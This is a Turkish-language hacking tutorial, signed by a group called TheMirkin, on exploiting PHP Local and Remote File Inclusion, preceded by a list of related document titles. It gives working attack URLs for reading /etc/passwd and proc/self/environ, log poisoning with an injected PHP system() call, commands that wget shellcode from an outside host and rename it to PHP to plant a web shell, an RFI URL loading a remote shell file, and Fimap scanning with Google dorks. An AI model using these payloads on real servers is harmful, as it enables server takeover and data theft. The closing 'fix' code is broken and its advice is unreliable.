Local File Inclusion Nedir?

Benzer belgeler
Web Application Penetration Test Report

Bu makalede 2003 sunucu, Windows 2003 Server anlamına gelmektedir. Aşağıda yapılan işlemler 2003 R2 sunucu üzerinde denenmiş ve çalıştırılmıştır.

Dokuz Eylül Üniversitesi Bilgi İşlem Dairesi Sunum konusu: Web Güvenliği

Windows 7 - IIS 7.5 üzerine PHP ve MySQL kurulumu

Google Hacking. Gelişmiş Google Operatörleri

Sqlmap pyhton dili yazılarak geliştirilmiş Sql injection için testerlara son derece yardımcı olan bir araçtır.

1.PROGRAMLAMAYA GİRİŞ

BLGM 354 DENEY 1 * GİRİŞ

XSS Exploitation via CHEF

İNTERNET PROGRAMCILIĞI - II

EFe Event Management System

08217 Internet Programcılığı I Internet Programming I

Web Uygulama Pentest Eğitimi

VMware 4.0 vcenter Server Kurulumu

SAMURAİ FRAMEWORK İLE HACKİNG-1 (FOOTPRINTING)

PHP ile İnternet Programlama

Armitage Nedir? Kullanım Öncesi

W3af ile Web Uygulama Güvenlik Testleri

ProFTPD FTP Sunucusu. Devrim GÜNDÜZ. TR.NET Sistem Destek Uzmanı.

Kimsin Sen? /in/ahmet-dervis /adervis3 SauSiber adrvs.wordpress.com

Öğr. Gör. Serkan AKSU 1

CYGWIN KURULUMU ve KULLANIMI

Bölüm 10: PHP ile Veritabanı Uygulamaları

1. HAFTA KBT204 İNTERNET PROGRAMCILIĞI II. Öğr.Gör. Hakan YILMAZ.

3. Analytic Workspace Manager ile Oracle OLAP Küpü Tasarımı

PHP 1. Hafta 2.Sunum

Script. Statik Sayfa. Dinamik Sayfa. Dinamik Web Sitelerinin Avantajları. İçerik Yönetim Sistemi. PHP Nedir? Avantajları.

WAMP SERVER KURULUMU


PHP I PHP I. E. Fatih Yetkin. 26 Eylül 2011

KANTAR UYGULAMASI Kurulum Kılavuzu

WEB SUNUCU GÜVENLİĞİ: Web Siteleri Neden Hacklenir?

En bilindik truva atları Xtreme Rat ve Darkcomet Rattır.

BİL BİLGİSAYAR PROGRAMLAMA (JAVA)

HSancak Nesne Tabanlı Programlama I Ders Notları

Bilindik engelleme yöntemlerinin dışında olan, kurumsal web filitreleri nasıl aşılır?

Ağ Üzerinde MATLAB kurulum rehberi (Sunucu makine)

Linux işletim sistemlerinde dosya hiyerarşisinde en üstte bulunan dizindir. Diğer bütün dizinler kök dizinin altında bulunur.

Kabuk Programlama (Bash)

BIND ile DNS Sunucu Kurulumu

Java 2 Standart Edition SDK Kurulum ve Java ya Giriş

Kaynak Kod Güvenliği Bir Güvensiz API Örneği

İÇERİK YÖNETİM SİSTEMİ (CMS) Bir web sitesi yayınlamak için yapılması gerekenler:

Coslat Monitor (Raporcu)

Linux php.ini Guvenlik Ayarları

İNTERNET PROGRAMCILIĞI HAFTA MYSQL - PHPMYADMIN. Hazırlayan Fatih BALAMAN. İçindekiler. Hedefler. Mysql Nedir.

Örnek bir kullanım ve bilgisayar ağlarını oluşturan bileşenlerin özeti

Dinamik Kodlama. [X] [X] Yeni Fonksiyon

MOBİLTEG MİKRO DEPO OTOMASYONU

TL-WPS510U PRINT SERVER KURULUM DÖKÜMANI

Windows Live ID ve parolanızı giriniz.

[ Web Uygulamalarında Kayank Kod Analizi II ] [ Mehmet Dursun INCE < mehmet.ince@intelrad.com > ] [ 10 Haziran 2013 ]

Web Uygulama Güvenliği Kontrol Listesi 2010

İnternet Programcılığı

Kurumsal Güvenlik ve Web Filtreleme

7. HAFTA KBT204 İNTERNET PROGRAMCILIĞI II. Öğr.Gör. Hakan YILMAZ.

Microsoft SQL Server 2008 Oracle Mysql (Ücretsiz) (Uygulamalarımızda bunu kullanacağız) Access

Veritabanı Sızma Testleri Türk Standardları Enstitüsü Yazılım Test ve Belgelendirme Dairesi Başkanlığı

WEB TASARIM I. Öğr. Gör. M. Mutlu YAPICI. Ankara Üniversitesi Elmadağ Meslek Yüksekokulu

1. PROGRAM KURMA 1.1 LİNUX PROGRAMLARINI KURMA Yazılım Merkezi ile Program Kurma

İnternet Programcılığı Öğr. Gör. Serkan AKSU Statik ve Dinamik Web Siteleri. Dinamik Web Sitesi Nedir?

Kurumsal Güvenlik ve Web Filtreleme

AMAÇLAR: GÜVENLİK TESTLERİNDE BİLGİ TOPLAMA: AKTİF BİLGİ TOPLAMA

Veri Tabanı Yönetim Sistemleri Bölüm - 02

Tek dosyalı projeler (siteler) üretmek

Kurulum 14 FTP ye Bağlanmak ve Dosyaları Atmak 14 Veritabanı Oluşturulması ve Bağlanıp Kurulumun Tamamlanması 15

İSTANBUL RUMELİ ÜNİVERSİTESİ MESLEK YÜKSEKOKULU BİLGİSAYAR PROGRAMCILIĞI 1.SINIF 2.YARIYIL İNTERNET PROGRAMCILIĞI II DERS İZLENCESİ

çindekiler 01. Kurulum

NicProxy Registrar AWBS Modül Kurulumu Versiyon 1.0

Programlama Yazılımı ile Web Sitesi Oluşturma

Ders Tanıtım Sunumu. Internet Programming II. Elbistan Meslek Yüksek Okulu Bahar Yarıyılı. 26 Şub Öğr. Gör.

Program Kurulum. Turquaz Muhasebe. İçindekiler

Üst Düzey Programlama

Yedek Nasıl Alınır? "Veri Tabanı Yedekleme ve Geri Alma" butonunu tıklayınca aşağıdaki gibi bir ekran açılacaktır.

Başlangıç Ayarları.

Turquaz Windows kurulum dökümanı. ftp://ftp.mirror.ac.uk/sites/ftp.postgresql.org/binary/v7.3.1/windows/pgsql731wina1.exe

Kurulum; Ana Bilgisayar ve Tahtalara ayrı ayrı yapılmaktadır. KURULUM ŞEMASI x.x x.x x.x x.

9. HAFTA KBT204 İNTERNET PROGRAMCILIĞI II. Öğr.Gör. Hakan YILMAZ.

RPMNET WOLVOX REPORTER

Internet Programming II. Elbistan Meslek Yüksek Okulu Bahar Yarıyılı

Php İle Mysql Veritabanından Bilgi Çekme

Değerli Datasoft Kullanıcısı;

Turquaz Kurulum Dökümani Linux

Üst Düzey Programlama

MaestroPanel Kurulum

Kurumsal Ağlarda Web Sistem Güvenliği

Bir dizinin boyutları sabittir ve kullanılmadan önce belirlenmelidir. Dizi boyutunu belirlemek için başka bir değişkende kullanabilirsiniz.

VERİ TABANI UYGULAMALARI

Bilgi ve İletişim Teknolojileri (JFM 102) Ders 7. LINUX OS (Sistem Yapısı) BİLGİ & İLETİŞİM TEKNOLOJİLERİ. LINUX Yapısı

1. Zamanbaz Hakkında Zamanbaz Kurulumu Zamanbaz Sistem Gereksinimleri Zamanbaz Kurulumu... 3

Disk tabanlı bir çözümdür ve bu yapısından dolayı kullanılması kolaydır. Ayrıca hızlı bir şekilde yedekleme ve geri dönüş sağlar.

Temel Bilgisayar Uygulamaları Web Tasarımı, Programlama Dilleri ve C# a Giriş

2-Hafta Temel İşlemler

VIO ERP12 Muhasebe Kurulum

SSH Tünelleme ile İçerik Filtreleyicileri Atlatmak

PHP Günleri 2013#1. mysql_* Fonksiyonları Ömrünü Doldurmak Üzere. Peki Şimdi Ne Olacak? Özgür Yazılım A.Ş.

Wolvox Kapı Ekranı. AKINSOFT Wolvox Kapı Ekranı Yardım Dosyası. Doküman Versiyon :

Bolum 9. Konu Başlıkları

Transkript:

Local File Inclusion Nedir? İlk Olarak anlamı işleyişi gibi işlemlerden başlı yalım LFI (Local File Inclusion) kelime anlamı olarak Local File İnclude (Serverdan dosya çağırma) işlemidir. Lfi açığı Php de bulunan bir açıktır. Bu açığın sebebi de değişkenlerin atama hatalarıdır. Acemi Php coderlar maalesef bu tip hatalara düşmektedir. Fakat günümüzde neredeyse kalmayacak duruma gelen bu açık hala sıfırdan kodlanan Php sistemlerde bulunabiliyor. Aslında Lfi include, include_once, require, require_once kodlarından dolayı oluşuyor. Bu Php kodlarına biraz inceleyelim. INCLUDE / INCLUDE_ONCE : Bu kodumuz ile yazdığımız uzun kodları bir başka sayfaya aktarıyoruz. REQUIRE / REQUIRE_ONCE : Bu kodda yukarıda verdiğim include komutunu yerine getirir fakat include komutunda çağırdığınız dosya bulunamadıysa hata verip orayı atlayacaktır ve yorumlayıcı yorumlamaya devam edecektir. Ancak Require komutunda çağrılan dosya bulunamazsa yorumlayıcı hatayı verdikten sonra çalışmayı kesecek yani diğer kısımları yorumlamayacaktır. Local File Inclusion Nasıl Kullanılır? İlk olarak bir açık üretelim sonrasında işleyişini kullanımını ve kapatma işlemini görelim bug.php <?php include ('data/$jani/function.php');?> Güvenli Kod: <?php $jani= TheMirkin; include ($jani.../index.php );?>

Yukarıdaki kodlar lfi açığı olan kodlardır. Gördüğünüz gibi include fonksiyonunda kullanılan değişken php de tanımlanmamış. Bunu sunucuya atıp çalıştırın dosya yok hatası alacaksınız önemsemeyin. Fakat bu kod Rfi de olduğu gibi bir shell sokmak için kullanılmaz. Bu açıkta tanımlanamayan değişkeni kullanarak okuma izni olan dosyalar okunabilir. www.site.com/bug.php?jani=../../../etc/passwd Yukarıda gördüğünüz kodla serverda ki etc/passwd okunabilir.../../../proc/self/environ işler durumda ise www.hedef.com/index.php?p=../../../../../proc/self/environ%00&cmd=ls la Gibi komut çalıştırabilirsiniz

RCE'ye nasıl çevrilir? LFI açıklı olan sitelerde Uzaktan Komut Çalıştırma işlemine (Remote Command Execution) RCE denir...../../../proc/self/environ ile yada diğer yardımcı( perl-python vs.) araçlar ile derleme işlemleri yapılmaktadır. RCE metodunu yaparak işlem yapabilir doyumsuz olan arkadaşlarımızın işini görmüyorsa RFI ( Remote file include = Uzakdan bir dosya dahil etme ) metodunu da ekleyebilir.remote file include = Uzakdan bir dosya dahil etme ) metodunu da ekleyebilir.biz konumuza bakalım :D Şimdi işin bu kısmına kadar anladıysak işimiz bundan sonra biraz daha zorlaşacaktır. File inclusion metotları genelde bir linux sever için basittir. Ama linux komutlarına aşina değilseniz emin olun bir tarafınızdan terler akacaktır :D Yukarıda Açıklamış ve uygulama olarak verdiğimiz bugdan dolayı www.site.com/bug.php?jani=../../../etc/passwd passwd okumuş bulunduk bundan sonrası size kalmış bir şeydir fazla da detaya inmek istemiyorum açıldıkça her türlü konuya uzanabiliyor Şimdi de biraz konumuzun dışında olan bir şeyden bahsetmek istiyorum. Bilirsiniz web sitelerin çalışma mantığını. Siz web adresini yazarak girersiniz web sitede içinde olan sayfa veya veritabanı bilgilerini size sunar. Peki eğer istediğim şey o sayfada veya sayfalarda veya sunucu da yoksa? işte o zaman sunucu tarafından ( apache veya internet information services ( IIS ) )tarafından hatalar bir hata sayfasına yazdırılırlar. Eğer ki root admin ( sunucu yöneticisi ) sunucunun kurulumuyla beraber gelen dosya yollarını değiştirmediyse istediğiniz sayfa veya veri hata olarak yazdırılırlar. Bu benim ne işime yarayacak? iyi soru :D Aslında bir çok şeye, Local file include metodnun can alıcı noktası da burada zaten... Eğer ben o web siteye girip de sayfaya örnek olarak şöyle bir istek attığımda da verileri yazdırmaz mı? http://hedef.com/<?php phpinfo();?> Bu yöntemi yanlış hatırlamıyorsam eğer burtay da videolu şekilde anlatımı vardı tam olarak hatırlayamasam da Konumuza dönelim neyse <?php phpinfo();?> bu komut ile php sorgusunu bilgisini çekmiş oluruz Bize server ve serverdaki php ve birkaç kütüphane hakkında bilgi verir... Dissabled & enabled functions 'lara bakarak ne kullanacağımızı göre biliriz... İnfo sorgusunu yaptık diğer işlemleri yapamazmıyız tabiî ki böyle imkanımızda var peki nasıl http://hedef.com/<?php system("ls -la");?> gibi Peki ya şöyle bir işlem yaparsak shell komutlarını get ile çeksek <?php system($_get['jani']);?> gibi yapma imkanı var

Php üzerinde bulunan system fonksionu Windows sistem ise msdos, Linux system ise shell konsol üzerinden çalıştırma imkanı sağlamaktadır yani get üzerinden tanımladığımız jani üzerinden gelen bilgi ve komutu çalıştırmış oluruz peki çalıştırdığımızda ne olucak artından bir hata sayfası ile karşılaşacağız 404 sayfa bulunamadı çıkar genelde :D Ama şimdi ne oldu aldığımız hata raporlara php kodumuzu işlemiş yani enjekte etmiş olduk Konumuza az daha yakın anlatalım ya tmm bu hatayı yazdırdık nereye yazdırdı bu arkadaş dersiniz sunucu log dosyalarında /var/log/httpd/access_log gibi /apache/logs/access.log geneli bu çıkar ama diğer log uzantılarını da dokümanın sonunda sizlere sunacağım http://hedef.com/test.php?jani=../../../../apache/logs/acces.log Demin yukarıda http://hedef.com/<?php system($_get['jani']);?> gibi yapmıştık bu yaptığımız sorguda 404 sayfa bulunamadı yer aldı ama aslında log dosyasına kodumuzu işlemiş oldu http://hedef.com/bug.php?jani=../../apache/logs/acces.log&jani=ls la Peki ya şimdi ne yaptık? jani ile linuxun dosya ve dizin listeleme metodu olan ls -la ile o an klasördeki dosyaları görmek istedik ve sonucu bize aynen döndürecektir ve listelenecektir... Bu şekilde istediğiniz şeyi çalıştırabilirsiniz. Ama yukarda da bahsettiğim unutmayınki doyumsuz arkadaşlarımızın da olduğunu söyledim. Şimdi LFI atağını RCE ye çevirdiğimize göre RCE atağını da RFI ye çevirelim. Linuxun wget fonksiyonunu kullanarak web siteye dosyamızı çekelim tabi bu isteğe göre değişir istediğiniz gibi çekebilirsiniz curl vs. kullanabilirsiniz. 1- http://hedef.com/bug.php?jani=../../../apache/logs/acces.log&jani=wget http://shell.com/shellcode.txt > Burada shellcode.txt Dosyamızı çektik 2- http://hedef.com/bug.php*jani=../../../../apache/logs/acces.log&jani=mv shellcode.txt shellcode.php > Bu bölümde ise çektiğimiz shellcode.txt yi php ye çeviriyoruz bundan sonrası artık malum TheMirkin http://www.janissaries.org http://www.themirkin.org

Uygulamalar üzerinde Local File Inclusion Genel olarak bu bölümde uygulamalar ve yazılımların kullanımını ele alarak sizlere Local File Inclusion system bug larınıtanıtmaya çalışacağım arkadaşlar Kısa öz olarak yukarıdaki konular içerisinde sizlere LFI anlatmaya çalıştım biraz şimdi yavaş yavaş işleyiş ve uygulamalar ile devam edelim arkadaşlar Kullanacağımız ek tooller genel açıdan bakıldığında scanner olarak kullandığımız ama diğer fonksiyonel işlemleri açısından bakmadığımız yazılımlar ve küçük çapta console görevi gören araçlar ile devam ediyoruz İlk olarak BackTrack 5 üzerinden Fimap Kullanımını ele aldığımızda ilemlerimize göz atalım arkadaşlar Biraz Tanıyalım Automatic LFI/RFI scanner and exploiter Bununla neler yapabiliriz: LFI rama yapabilir ve bulunan LFI bug üzerinden console bağlanarak işlem yapabilirsiniz yani bulmak biyana /proc/self/environ işler durumda ise console işlemlerimizi ele alarak kullanabiliriz. Fimap dork sistemini kullanarak la beraber hedef site üzerinde de işlemler yapabilen ve liste halinde verdiğiniz hedeflerde işlemlerde yardımcı bir tools dür Kullanılan system : Backtrack5 Kullanılan Araç : Fimap BT üzerindeki dizin : /pentest/web/fimap Bu aracı Alt+F2 ye basarak kısa yoldan aratabilirsiniz yada Backtrack > Exploitation Tools > Web Exploitation Tools Menüsünü izliyerek de açabilirsiniz ## Örneklerimiz 1. Tek URL olarak Tarama:./fimap.py -u 'http://localhost/test.php?file=bang&id=23' 2. Liste Vererek Tarama Yaptırma:./fimap.py -m -l '/tmp/urllist.txt' 3. Google Üzerinden Arama Yaparak Otomatik tarama Yapmak için./fimap.py -g -q inurl:index.php?sayfa= -g: google da ara, -q query (sorgu) demektir. help komutundan kullanım parametrelerini detaylı inceleyebilirsiniz.

Yukarıda Görmüş olduğunuz resim üzerinde fimap ı dork fonksiyonu ile aramaktayız bu fonksiyon dışında ben sizlere daha çok hedef üzerinde Örneklemek Gerekirse./fimap.py -u 'http://localhost/jani.php?file=jani&id=23' Burada ki verilmiş olan işlemleri göz önünde bulundurarak hedefi tarar ve sorgu işlemlerini yapmaya başlar Diğer yazılımlarla devam edelim LFI <> RCE Exploit Lfı ve rce işlemleri üzerine bir çok yardımcı yazılım yazılmıştır Bir çoğu perl dilinden yararlanılarak yazılmışlardır bir çoğu ırc server a başlanılarak işlem yaptırmasının dışında local olarakta çalışan yazılımları vardır Ki perl dilini gerçekten seviyorum Yazılımları doküman sonunda sizlerle baylaşacağım zaten bilginize http://packetstormsecurity.com/files/116908/lfi-exploiter.html LFI to RCE Misal bu /proc/self/environ üzerinden concole açarak işlem yapar Daha Bir çok yazılımcı nın yaptığı yazılımlar var hepsinide ekliyemiyorum

Çünkü sadece yazılımları eklesek bulamadıklarımız olacaktır hak yemeyelim şimdi Th3-0uTl4wS Lfi2Rce Tool var console işlemini güzel yapan hak yemeyelim :D Bu yazılımı seviyorum ama işte Biraz daha konuları derinleştirsek mi acaba yoksa napsak bilemedim ki : )

Remote File Inclusion Nedir? Birazda uzaktan işlemlere bakalım hepsini tek dokümanda çıkartalım istedim Temel bilgiler ile başlayalım biraz zorlıyalım öncelikle RFI (Remote File Inclusion) : Uzaktan dosya ekleyerek kod çalıştırma işlemidir PHP web programlama dili ile kodlanmış uygulamalarda, yazılımcıların tanımladıkları değişkene değer atamaması veya atanan değerlerin filtrelenmemesinden kaynaklanmaktadır çoğu kasti işlem olmadığı sürece RFI Açıklarından nasıl yararlanılır? Şimdi geçelim bu açıklardan nasıl yararlanacağımıza... PHP Kodlamalarda include komutu ile çalıştırılması gereken dosyanın yolu gösterilir... Biz ne mi yapacağız? Bu yolu kullanarak o dosya yerine bizim istediğimiz bir dosyayı çalıştıracağız. Peki bu ne gibi bir işe yarar? Eğer serverdaki dizinleri gösterebilen, dosya upload edilebilen, gerektiğinde port açabilen kodlar çalıştırılırsa sadece siteye değil tüm server'a hakim olunabiliyor. Siteye ve Servera hakim olmamızı sağlayan bu kodlara da "ListPath" denir. (c99.php, r57.php gibi) Örneklemeli çalışalım Basit örneklerle tanıtalım RFI (Remote File Inclusion) Örneği index.php dosyası: include( $TheMirkin/guncel/jani.php ); Bu satırdaki $ işareti bulunan parametreden doğan hatalı kodlama ile uzaktan dosya çağırmak mümkündür. http://www.hedef.com/index.php?themirkin=http://shelsite.com/shell.txt? Yukarıdaki şekilde, http://shelsite.com/shell.txt? adresinde bulunan zararlı kodlar www.hedef.com adresi üzerinde çalıştırılacaktır. Bu noktada saldırgan yönlendirilen alanda shell ve listparch isimleriyle tabir edilen kötü amaçlı scriptleri kullanarak web sitenin sunucusuna sızmaktadır! Böylelikle sunucu üzerinde istenilen işlemleri gerçekleştirebilmektedir. Bunların en çok kullanılanları r57, C99 gibi işlevsel scriptler dir yukarıda da belirtmiştim Örnek olarak R57 shell in özellikleini azıcık değinelim R57 web üzerinde komut çalıştırma, dizin atlama, dosya düzenleme, yeni dosya oluşturma, dosya çalıştırma, veritabanına bağlanma & bağlantıları görme, dosya içeriği okuma, dosya yükleme ve dosya indirme gibibir çok işlevsel özelliğe sahiptir genelde sql işlemlerinde c99 kullanılmatadır ama

Özellikleriyle sunucu üzerinde yetkisiz olarak birçok işlev gerçekleştirmektedir. Sql veritabanına bağlantı kurabilir, veritabanını dışarı aktarabilir ve belirtilen veritabanı üzerine sql komutları çalıştırabilir. Bu özelliği ile hedef sitenin veritabanı bilgilerini barındıran dosyayı dışarı aktarabilir ve sql komutlarıyla istenilen diğer işlemler yapılabilir. Özellikle hosting firmalarının çok fazla siteyi aynı sunucuda barındırdığını düşünürsek herhangi bir sitede güvenlik açığı olması durumunda o sunucu üzerinde bulunan tüm web siteleri ve sunucu tehlike altındadır Hep saldırı hep bug işlemlerinden konuşuyoruz birazcıkta güvenlik işlemleri ile uğraşalım Birkaç formül basit ama etkili olabilecek işlemler Yukarıda Bug lu kod vermiştik şimdi hem bug verelim ve o bug u kolay yoldan kapatma işlemlerini görelim Bug: <?php include ($TheMirkin../index.php );?> Burada Tanımlı olmayan değişkenin ufak bir hatası sonucu bug oluştu Bug Fixed işlemi <?php $TheMirkin= janissaries ; include($themirkin../index.php )?> TheMirkin değişkenine tanımlama yapıldığından dış verinin girişine izin vermeyecek ve RFI & LFI açıklarından korunmamızı sağlayacaktır. 2 Bir yöntem Özel fonksiyonlar ile bu tür açıklardan korunabilirsiniz 3 Yöntem ise biraz daha farklı bir çok sitede görmüş olabilirsiniz genelde sunucu üzerinden symlink engelleme met hotlarından biri olan php.ini işlemlerini düzenlemek /etc/php.ini dosyasının içini açarak disable_function değerinin yanına aşağıda belirtilen özellikleri yazarak web shell Scriptlerinin etkisiz kalmaları sağlanabilir En basitinden değinmek gerekirse kodlarımız tabi hepsi değil : ) disable_function = system, passthru, exec, popen, proc_close, proc_get_status, proc_nice, proc_open, allow_url_fopen, shell, shellexec, executeservice Ama Bunlada Sınırlı kalmayınız Arkadaşlar

TheMirkin http://www.janissaries.org http://www.themirkin.org